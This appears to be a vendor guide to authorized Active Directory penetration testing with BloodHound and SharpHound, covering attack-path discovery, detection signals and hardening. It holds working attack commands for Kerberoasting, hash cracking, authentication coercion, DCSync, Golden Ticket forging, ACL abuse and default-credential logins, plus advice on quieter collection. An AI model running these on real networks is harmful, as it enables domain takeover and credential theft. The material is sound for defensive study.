BloodHound maps Active Directory attack paths that would take a human analyst weeks to trace manually. By ingesting AD relationship data collected by SharpHound and visualizing it as a graph, BloodHound reveals Kerberoastable service accounts, unconstrained delegation nodes, DCSync rights holders, and lateral movement chains from any compromised user to Domain Admin. This guide covers authorized BloodHound and SharpHound security testing: collector deployment and credential exposure, BloodHound Community Edition API security, interpreting and executing attack path findings, and the hardening actions that actually reduce AD attack surface.
BloodHound has two major variants: BloodHound Community Edition (CE), an open-source tool maintained by SpecterOps, and BloodHound Enterprise, the commercial product. Both use the same core graph model but differ in API design, authentication, and deployment. SharpHound is the primary data collector for Windows AD environments; BloodHound.py handles collection from Linux.
| Component | Default Port | Security Risk |
|---|---|---|
| BloodHound CE Web UI / API | 8080 | Default admin:bloodhoundcommunityedition credentials; full AD data exposure |
| Neo4j Browser | 7474 | Default neo4j:neo4j; direct Cypher query access to all AD data |
| Neo4j Bolt Protocol | 7687 | Unauthenticated in older setups; programmatic DB access |
| SharpHound output ZIP | Filesystem | Complete AD relationship snapshot; high-value exfiltration target |
| BloodHound.py output JSON | Filesystem | Same as SharpHound; often left in /tmp or analyst workstations |
SharpHound requires domain credentials to collect AD data. In an authorized pentest, the tester deploys SharpHound from a domain-joined host or with valid credentials. From a security perspective, SharpHound binaries, collection output files, and the credentials used for collection are all sensitive artifacts that require careful handling.
# Basic collection — all collection methods
SharpHound.exe -c All --outputdirectory C:\Temp\bh_output
# Collection from a non-domain-joined host with explicit credentials
SharpHound.exe -c All \
--domain CORP.LOCAL \
--ldapusername LDAP_USER \
--ldappassword 'P@ssw0rd' \
--domaincontroller 10.0.0.5 \
--outputdirectory C:\Temp\bh_output
# Stealth collection (fewer noise, longer collection time)
SharpHound.exe -c DCOnly --stealth
# Collection targeting specific domain controllers
SharpHound.exe -c All --domaincontroller DC01.corp.local
# Exclude certain collection methods to reduce noise
# Skip session enumeration (reduces SMB traffic, harder to detect)
SharpHound.exe -c Default,ACL,Trusts,ObjectProps
# Linux/macOS collection via BloodHound.py
pip install bloodhound
bloodhound-python -u ldapuser -p 'P@ssw0rd' -d corp.local \
-ns 10.0.0.5 -c All --zip
# Collection via LDAPS (encrypted)
bloodhound-python -u ldapuser -p 'P@ssw0rd' -d corp.local \
-ns 10.0.0.5 -c All --use-ldaps
# Kerberos authentication (no password in command line)
KRB5CCNAME=/tmp/user.ccache bloodhound-python \
-d corp.local -ns 10.0.0.5 -c All -k --no-pass
# SharpHound ZIP files contain extremely sensitive AD data
# A leaked BloodHound dataset gives attackers a complete attack roadmap
# Contents of a typical SharpHound ZIP:
# - computers.json — all computer objects, OS versions, enabled status
# - users.json — all user accounts, SPNs, last logon, password policies
# - groups.json — all groups and memberships
# - gpos.json — Group Policy Objects and their scope
# - ous.json — Organizational Unit structure
# - domains.json — domain trusts and properties
# - containers.json — container objects
# - sessions.json — user sessions per computer (SMB-based, if collected)
# - acls.json — Access Control Lists for all objects
# Find BloodHound collection files left on systems
find / -name "*.zip" -newer /etc/passwd 2>/dev/null | xargs file | grep "Zip archive"
find /tmp /home -name "20[0-9]*_BloodHound.zip" 2>/dev/null
find /tmp /home -name "computers.json" -o -name "users.json" | xargs ls -la 2>/dev/null
# Check for BloodHound data in common analyst locations
ls ~/Desktop/*.zip ~/Downloads/*.zip 2>/dev/null | head
find C:\Temp C:\Users -name "*BloodHound*" 2>/dev/null # Windows
# Sensitive data within SharpHound output — users.json
python3 -c "
import json, zipfile, sys
with zipfile.ZipFile('20240101_BloodHound.zip', 'r') as z:
with z.open('users.json') as f:
data = json.load(f)
print('=== Kerberoastable Users (hasSPN) ===')
for user in data.get('data', []):
props = user.get('Properties', {})
if props.get('hasspn'):
print(f\" {props.get('name')}: SPNs: {props.get('serviceprincipalnames', [])}\")
print()
print('=== Users with Password Never Expires ===')
for user in data.get('data', []):
props = user.get('Properties', {})
if props.get('passwordneverexpires') and props.get('enabled'):
print(f\" {props.get('name')}\")
print()
print('=== AdminCount=1 users (high-value targets) ===')
for user in data.get('data', []):
props = user.get('Properties', {})
if props.get('admincount') and props.get('enabled'):
print(f\" {props.get('name')} — Last logon: {props.get('lastlogon')}\")
"
BloodHound Community Edition exposes a REST API for data ingestion, Cypher queries, and management. The API requires JWT authentication. Default credentials (admin:bloodhoundcommunityedition) are documented and frequently not changed in lab or rapid-deployment setups. An attacker with API access can query the complete AD attack surface mapped in the database.
# BloodHound CE default admin credentials
# Username: admin
# Password: bloodhoundcommunityedition (change on first login)
# Authenticate to BloodHound CE API
BH_URL="http://localhost:8080"
# Step 1: Login to get JWT
LOGIN_RESPONSE=$(curl -s -X POST "$BH_URL/api/v2/login" \
-H "Content-Type: application/json" \
-d '{"login_method": "secret", "secret": "bloodhoundcommunityedition", "username": "admin"}')
TOKEN=$(echo "$LOGIN_RESPONSE" | python3 -c "
import sys, json
data = json.load(sys.stdin)
print(data.get('data', {}).get('session_token', 'ERROR'))
")
echo "Token: $TOKEN"
# Step 2: Enumerate all domains in the database
curl -s "$BH_URL/api/v2/available-domains" \
-H "Authorization: Bearer $TOKEN" | python3 -m json.tool
# Step 3: List all users with attack path context
curl -s "$BH_URL/api/v2/users?count=true" \
-H "Authorization: Bearer $TOKEN" | python3 -m json.tool
# Step 4: Run built-in attack path queries
# BloodHound CE exposes a Cypher endpoint
curl -s -X POST "$BH_URL/api/v2/graphs/cypher" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"query": "MATCH (n:User {enabled: true, hasspn: true}) RETURN n.name, n.serviceprincipalnames LIMIT 25"}' \
| python3 -m json.tool
# Step 5: Find shortest path to Domain Admins
curl -s -X POST "$BH_URL/api/v2/graphs/cypher" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"query": "MATCH p=shortestPath((n:User {enabled:true})-[*1..]->(g:Group {name:\"DOMAIN ADMINS@CORP.LOCAL\"})) RETURN p LIMIT 5"
}' | python3 -m json.tool
# Neo4j Browser UI (default: unauthenticated or neo4j:neo4j)
# Access: http://localhost:7474
# Execute Cypher queries directly, bypassing BloodHound auth
# Neo4j Bolt protocol for programmatic access
# pip install neo4j
python3 - <<'EOF'
from neo4j import GraphDatabase
# Default credentials
driver = GraphDatabase.driver("bolt://localhost:7687",
auth=("neo4j", "neo4j"))
with driver.session() as session:
# Find all Kerberoastable users
result = session.run("""
MATCH (u:User {hasspn:true, enabled:true})
RETURN u.name, u.serviceprincipalnames, u.admincount
ORDER BY u.admincount DESC
LIMIT 20
""")
print("=== Kerberoastable Users ===")
for record in result:
print(f" {record['u.name']}: {record['u.serviceprincipalnames']}")
# Find users with DCSync rights
result = session.run("""
MATCH (n)-[:GetChanges|GetChangesAll|GetChangesInFilteredSet*1..]->(d:Domain)
RETURN n.name, labels(n) as type
ORDER BY n.name
""")
print("\n=== Entities with DCSync rights ===")
for record in result:
print(f" {record['n.name']} ({record['type']})")
driver.close()
EOF
Kerberoasting is one of the most impactful attack paths BloodHound identifies. Any domain user can request a Kerberos TGS ticket for any service account with a registered SPN. That ticket is encrypted with the service account's NTLM hash — crackable offline. Service accounts running as highly privileged users (Domain Admins, local admins on many servers) are the highest-value targets.
# Find Kerberoastable accounts via LDAP (no BloodHound required)
# Using PowerView
Get-DomainUser -SPN -Properties samaccountname,serviceprincipalnames,memberof
# Using native PowerShell / .NET
[System.DirectoryServices.DirectorySearcher]$searcher = [ADSI]""
$searcher.filter = "(&(objectClass=user)(servicePrincipalName=*)(!(samaccountname=krbtgt))(!userAccountControl:1.2.840.113556.1.4.803:=2))"
$searcher.FindAll() | ForEach-Object {
Write-Host "User: $($_.Properties.samaccountname) | SPN: $($_.Properties.serviceprincipalname)"
}
# Using Impacket from Linux
GetUserSPNs.py corp.local/ldapuser:'P@ssw0rd' -dc-ip 10.0.0.5 \
-outputfile kerberoast_hashes.txt
# Outputs: $krb5tgs$23$... hashes ready for hashcat
# Crack Kerberoast hashes
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
# AES-256 Kerberoasting (RC4 is disabled)
hashcat -m 19700 kerberoast_hashes_aes256.txt /usr/share/wordlists/rockyou.txt
# Prioritize Kerberoastable accounts by privilege (BloodHound Cypher)
curl -s -X POST "$BH_URL/api/v2/graphs/cypher" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"query": "MATCH (u:User {hasspn:true, enabled:true}) OPTIONAL MATCH (u)-[:MemberOf*1..]->(g:Group) WHERE g.admincount=true RETURN u.name, u.serviceprincipalnames, count(g) as privileged_groups ORDER BY privileged_groups DESC"
}' | python3 -c "
import json, sys
data = json.load(sys.stdin)
for row in data.get('data', {}).get('rows', []):
print(f\"SPN account: {row[0]} | Privileged group memberships: {row[2]}\")
print(f\" SPNs: {row[1]}\")
"
Kerberos delegation allows a computer or service to authenticate to other resources on behalf of a user. Unconstrained delegation — where a server can authenticate to any service using a user's TGT — is the most dangerous configuration. Constrained delegation restricts which services the server can impersonate to, but certain configurations (with Protocol Transition, S4U2Self) still allow privilege escalation.
# BloodHound Cypher — find computers with unconstrained delegation
curl -s -X POST "$BH_URL/api/v2/graphs/cypher" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"query": "MATCH (c:Computer {unconstraineddelegation:true}) WHERE c.name <> \"DC01.CORP.LOCAL\" RETURN c.name, c.operatingsystem ORDER BY c.name"
}' | python3 -m json.tool
# Non-DC computers with unconstrained delegation are high-value targets:
# If you compromise the computer account, you can capture TGTs of any user
# who authenticates to it (including Domain Admins)
# Find via LDAP directly
Get-DomainComputer -Unconstrained -Properties dnshostname,useraccountcontrol
# Exploit: Printer Bug / SpoolSample to coerce DC authentication to unconstrained host
# From an unconstrained delegation host:
# 1. Set up TGT capture (Rubeus monitor)
Rubeus.exe monitor /interval:5 /filteruser:DC01$
# 2. Trigger DC authentication to your host via PrinterBug or PetitPotam
python3 PetitPotam.py -u LDAPUSER -p 'P@ssw0rd' UNCONSTRAINED_HOST DC01.corp.local
# 3. Rubeus captures the DC$ TGT; use for DCSync or pass-the-ticket
Rubeus.exe ptt /ticket:BASE64_TICKET
# Constrained delegation — find via LDAP and BloodHound
Get-DomainUser -TrustedToAuth -Properties samaccountname,msds-allowedtodelegateto
# Services listed in msDS-AllowedToDelegateTo are impersonatable
# S4U2Self abuse: if account has "TrustedToAuthForDelegation" flag,
# it can impersonate ANY user to itself, then delegate to target service
# This means: compromise the service account → impersonate Domain Admin → access target service
DCSync is a technique that abuses Active Directory replication rights to extract NTLM password hashes (and Kerberos keys) for any domain account — including krbtgt, which enables Golden Ticket attacks. BloodHound's GetChanges, GetChangesAll, and GetChangesInFilteredSet edges identify all entities with replication rights.
# BloodHound Cypher — find entities with DCSync rights
# In BloodHound GUI: pre-built query "Find Principals with DCSync Rights"
# Manual Cypher:
curl -s -X POST "$BH_URL/api/v2/graphs/cypher" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"query": "MATCH p=(n)-[:GetChanges|GetChangesAll|GetChangesInFilteredSet*1..]->(d:Domain) RETURN n.name, labels(n) as type ORDER BY n.name"
}' | python3 -c "
import json, sys
data = json.load(sys.stdin)
print('Entities with DCSync replication rights:')
for row in data.get('data', {}).get('rows', []):
print(f' {row[0]} ({row[1]})')
"
# Legitimate DCSync holders: Domain Controllers, Domain Admins, Enterprise Admins
# Unexpected holders indicate misconfiguration or privilege escalation
# Check domain ACLs directly
# Using PowerView:
Get-DomainObjectAcl -DistinguishedName "DC=corp,DC=local" -ResolveGUIDs | \
Where-Object { $_.ObjectAceType -in ("DS-Replication-Get-Changes", "DS-Replication-Get-Changes-All") } | \
Select-Object SecurityIdentifier, ObjectAceType | \
Get-ObjectFromIdentity
# Execute DCSync with secretsdump (Impacket)
# Requires: account with GetChanges + GetChangesAll, or Domain Admin
secretsdump.py corp.local/privileged_user:'P@ssw0rd'@DC01.corp.local \
-outputfile domain_hashes.txt
# DCSync for a specific account (targeted, less noisy)
secretsdump.py corp.local/admin:'P@ssw0rd'@DC01.corp.local \
-just-dc-user krbtgt
# Result: krbtgt NTLM hash + Kerberos AES keys → Golden Ticket
# NT hash: aad3b435b51404eeaad3b435b51404ee:KRBTGT_NTLM_HASH
# Golden Ticket creation (post-DCSync)
# Requires: krbtgt NT hash, domain SID
ticketer.py -nthash KRBTGT_NTLM_HASH \
-domain-sid S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX \
-domain corp.local \
-user Administrator \
Administrator
# Golden Ticket has a default 10-year validity
# Survives krbtgt password changes (single change; need two changes to invalidate)
Active Directory Access Control Lists define who can read and write object properties. BloodHound maps these ACL relationships as edges like GenericAll, WriteDACL, WriteOwner, GenericWrite, and ForceChangePassword. A chain of ACL edges from a low-privileged user to Domain Admin is often the most realistic attack path BloodHound reveals in enterprise environments.
| BloodHound Edge | Description | Exploitation |
|---|---|---|
| GenericAll | Full control over object | Reset password, add to groups, modify SPNs for Kerberoast |
| WriteDACL | Modify object's DACL | Grant yourself GenericAll, then exploit |
| WriteOwner | Change object owner | Take ownership → WriteDACL → GenericAll chain |
| GenericWrite | Write to most object attributes | Set SPN for Kerberoasting; set msDS-AllowedToActOnBehalfOfOtherIdentity for RBCD |
| ForceChangePassword | Force reset without knowing current password | Reset target user's password and authenticate as them |
| AddMember | Add members to a group | Add yourself to privileged groups |
| AddSelf | Add yourself as a member | Self-add to privileged group |
| AllExtendedRights | All extended rights including password reset | Reset password, ForceChangePassword behavior |
# BloodHound Cypher — find ACL attack paths from owned user to Domain Admins
curl -s -X POST "$BH_URL/api/v2/graphs/cypher" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"query": "MATCH p=shortestPath((u:User {name: \"COMPROMISED_USER@CORP.LOCAL\"})-[r:GenericAll|WriteDACL|WriteOwner|GenericWrite|ForceChangePassword|AddMember|AddSelf*1..5]->(g:Group {name: \"DOMAIN ADMINS@CORP.LOCAL\"})) RETURN p"
}' | python3 -m json.tool
# GenericAll on a user — reset password
net rpc password TARGET_USER "NewP@ss123!" \
-U "CORP/ATTACKER_USER%AttackerPass" -S DC01.corp.local
# GenericWrite — add SPN for Kerberoasting (targeted Kerberoasting)
# Using PowerView:
Set-DomainObject -Identity TARGET_USER -Set @{serviceprincipalnames="fake/spn"}
# Now Kerberoast TARGET_USER
Rubeus.exe kerberoast /user:TARGET_USER /format:hashcat
# WriteDACL — grant yourself GenericAll
Add-DomainObjectAcl -TargetIdentity TARGET_USER \
-PrincipalIdentity ATTACKER_USER -Rights All
# RBCD (Resource-Based Constrained Delegation) via GenericWrite on a computer
# Set msDS-AllowedToActOnBehalfOfOtherIdentity on target computer
# to your controlled machine account → impersonate Domain Admin to target
python3 rbcd.py -delegate-to "TARGET_COMPUTER$" \
-delegate-from "ATTACKER_MACHINE$" \
-action write corp.local/privileged_user:'P@ssw0rd'
BloodHound's core value is finding the shortest path from any compromised account to Domain Admin. In practice, the most dangerous paths combine multiple hop types: user → group membership → ACL → computer admin → local admin → cached credentials → privileged user → Domain Admin.
# BloodHound GUI built-in queries (accessible from the Queries tab)
# These are also runnable via the Cypher API:
# 1. Find All Domain Admin Paths from Kerberoastable Users
"MATCH p=shortestPath((u:User {hasspn:true, enabled:true})-[*1..]->(g:Group {admincount:true})) RETURN p LIMIT 10"
# 2. Find Computers Where Domain Users Can RDP
"MATCH p=(g:Group {name: 'DOMAIN USERS@CORP.LOCAL'})-[:CanRDP]->(c:Computer) RETURN p"
# 3. Find Unsupported Operating Systems
"MATCH (c:Computer) WHERE c.operatingsystem =~ '.*Windows XP.*|.*Windows 2000.*|.*Windows Server 2003.*|.*Windows Vista.*|.*Windows 7.*|.*Windows Server 2008.*' RETURN c.name, c.operatingsystem ORDER BY c.operatingsystem"
# 4. Identify all active users with path to DA
"MATCH (u:User {enabled:true}),(g:Group {name:'DOMAIN ADMINS@CORP.LOCAL'}) MATCH p=shortestPath((u)-[*1..]->(g)) RETURN u.name, length(p) as hops ORDER BY hops LIMIT 20"
# 5. Find computers with local admin rights exposing high-value users
"MATCH p=(c:Computer)-[:HasSession]->(u:User)-[r:MemberOf*1..]->(g:Group {admincount:true}) RETURN c.name, u.name, g.name LIMIT 25"
# High-value analysis: count attack paths per user (blast radius if compromised)
curl -s -X POST "$BH_URL/api/v2/graphs/cypher" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"query": "MATCH (u:User {enabled:true}),(da:Group {name: \"DOMAIN ADMINS@CORP.LOCAL\"}) WITH u, da MATCH p=shortestPath((u)-[*1..]->(da)) RETURN u.name, min(length(p)) as min_hops ORDER BY min_hops ASC LIMIT 20"
}' | python3 -c "
import json, sys
data = json.load(sys.stdin)
print('Users closest to Domain Admin (fewest hops):')
for row in data.get('data', {}).get('rows', []):
print(f' {row[0]}: {row[1]} hop(s)')
"
SharpHound generates distinctive LDAP query patterns and SMB session enumeration traffic. Modern EDR and SIEM solutions can detect BloodHound collection. Understanding detection logic helps defenders tune their monitoring and helps pentesters calibrate collection scope for authorized testing.
# LDAP query patterns that indicate SharpHound collection:
# 1. High-volume LDAP queries for (objectClass=user)(objectClass=computer)(objectClass=group)
# 2. Enumeration of msDS-AllowedToDelegateTo, msDS-AllowedToActOnBehalfOfOtherIdentity
# 3. ACL enumeration: nTSecurityDescriptor reads on all domain objects
# 4. SPN enumeration: queries for servicePrincipalName on all objects
# Windows Event Log detection:
# Event 4662: Operation performed on an object (SACL-based; requires auditing enabled)
# Event 5136: Directory service object was modified
# Event 4768/4769: Kerberos TGT/TGS requests (for Kerberoasting)
# Sigma rule concept for SharpHound detection:
# Source: DC Security Event Log
# Event: 4662 with Properties containing:
# - 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 (GetChanges GUID)
# - 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2 (GetChangesAll GUID)
# from non-DC sources
# Reduced-noise collection options for authorized testing:
# --stealth: disables session enumeration (no SMB traffic to all computers)
# --collectionmethods DCOnly: only queries the DC, no lateral LDAP to member servers
# --loop False: run once, no looping (reduces query volume)
SharpHound.exe -c DCOnly --stealth --outputdirectory C:\Temp\
# BloodHound.py stealth mode
bloodhound-python -u user -p pass -d corp.local -ns dc-ip \
-c DcOnly --dns-timeout 5 --dns-tcp --zip
BloodHound's real value for defenders is as a continuous attack path management tool. The findings from a BloodHound assessment map directly to actionable hardening items. Reduce the number of users with paths to Domain Admin to near zero, and the blast radius of any credential compromise shrinks dramatically.
| Finding | Remediation | Priority |
|---|---|---|
| Kerberoastable service accounts | Use Group Managed Service Accounts (gMSA) with 120+ character automatically rotated passwords; disable RC4 encryption for service accounts | Critical |
| Unconstrained delegation computers | Remove "Trust this computer for delegation to any service (Kerberos only)" from all non-DC computers; enable Protected Users for privileged accounts | Critical |
| Unexpected DCSync rights | Audit and remove GetChanges/GetChangesAll from non-DC accounts; use tiered administration model | Critical |
| Large groups with Domain Admin paths | Trim group memberships; remove Domain Users or Authenticated Users from groups with AD rights | High |
| ACL misconfigurations (GenericAll, WriteDACL) | Run AD ACL audits; use BloodHound to find and remove unexpected edges; audit AdminSDHolder object | High |
| Credential exposure (sessions on non-privileged systems) | Enforce tiered admin model; prohibit privileged users from logging into Tier 1/2 hosts; use PAWs | High |
| BloodHound CE with default credentials | Change default admin password on first login; restrict BloodHound CE access to security team only | High |
| SharpHound output files stored insecurely | Encrypt BloodHound zip output; delete after import; store only in secure analyst workstations | High |
| Stale computer objects with rights | Remove computer accounts inactive for 90+ days; audit computer account group memberships | Medium |
| No Protected Users enforcement | Add Domain Admins and service accounts to Protected Users group to disable NTLM, delegation, and DES/RC4 Kerberos | Medium |
BloodHound maps your Active Directory attack surface. Ironimo tests the web applications that authenticate against that AD — SSO integrations, SAML flows, Kerberos-authenticated APIs, and the external attack surface attackers use to gain their initial foothold.
Start free scan